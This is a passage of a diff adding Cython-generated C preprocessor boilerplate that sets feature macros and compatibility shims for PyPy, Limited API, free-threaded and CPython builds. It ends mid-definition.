CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) 